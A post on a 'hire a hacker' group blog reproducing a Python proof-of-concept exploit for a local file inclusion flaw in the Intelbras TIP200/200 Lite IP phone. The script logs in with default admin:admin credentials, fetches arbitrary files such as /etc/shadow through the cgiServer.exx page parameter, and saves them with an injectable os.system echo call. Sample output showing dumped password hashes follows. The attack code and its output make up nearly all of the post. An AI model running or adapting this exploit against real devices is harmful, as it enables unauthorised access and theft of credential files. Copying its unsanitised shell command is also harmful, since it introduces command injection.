Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86377074

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: [INTELBRAS TELEFONE IP TIP200/200 LITE Local File Include]
# Google Dork: []
# Date: 16/03/2018
# Exploit Author: [Matheus Goncalves - anhax0r]
# Vendor Homepage: [https://www.facebook.com/anhaxteam/]
# Software Link: []
# Version: [60.0.75.29] (REQUIRED)
# Tested on: [Debian]
# CVE : [if applicable]


#Remember that you need login with admin credentials to download files !!! in this case, i used default credentials

import requests as http
import subprocess
import os
from requests.auth import HTTPBasicAuth
def poc():
    print("""                -------------------------------------------------------------------------------------------------------------
                ------------- 0day: TELEFONE IP TIP200/200 LITE | Local File Include | Local File Download-------------------
                -------------      P0c Author: Matheus Goncalves | Pentester at Anhax Security Team       -------------------
                -------------------------------------------------------------------------------------------------------------\n""")
    filename = raw_input("filename Ex: /etc/shadow: -> ")
    if(filename == ""):
        filename="/etc/shadow"
    r = http.get("http://192.168.0.207/cgi-bin/cgiServer.exx?page="+str(filename), auth=HTTPBasicAuth('admin', 'admin'))
    print(" ")
    text = r.text
    
    print(text)
    savefile = raw_input("Save file? [Y\\n]: ")
    savefile.upper()
    if(savefile=="Y" or savefile=="y"):
        os.system("echo '"+text+"' > "+filename.replace("/etc/", ""))
        print("File saved !!")
        start()
    else:
        start()
            
def start():
    poc()
    
start()


#root@hax:~/itscanner# python p0c.py 
#                -------------------------------------------------------------------------------------------------------------
#                ------------- 0day: TELEFONE IP TIP200/200 LITE | Local File Include |-------------------
#                -------------      P0c Author: Matheus Goncalves | Pentester at Anhax Security Team       -------------------
#                -------------------------------------------------------------------------------------------------------------
#filename Ex: /etc/shadow: -> /etc/shadow
 
#root:$1$83hUAZ/2$GKlGOZlepa6eikA6mfG1l/:11876:0:99999:7:::
#admin:DP7Kg4tE0Y9rs:11876:0:99999:7:::

#Save file? [Y\n]: y
#File saved !!

#root@hax:~/itscanner# cat shadow 
#root:$1$83hUAZ/2$GKlGOZlepa6eikA6mfG1l/:11876:0:99999:7:::
#admin:DP7Kg4tE0Y9rs:11876:0:99999:7:::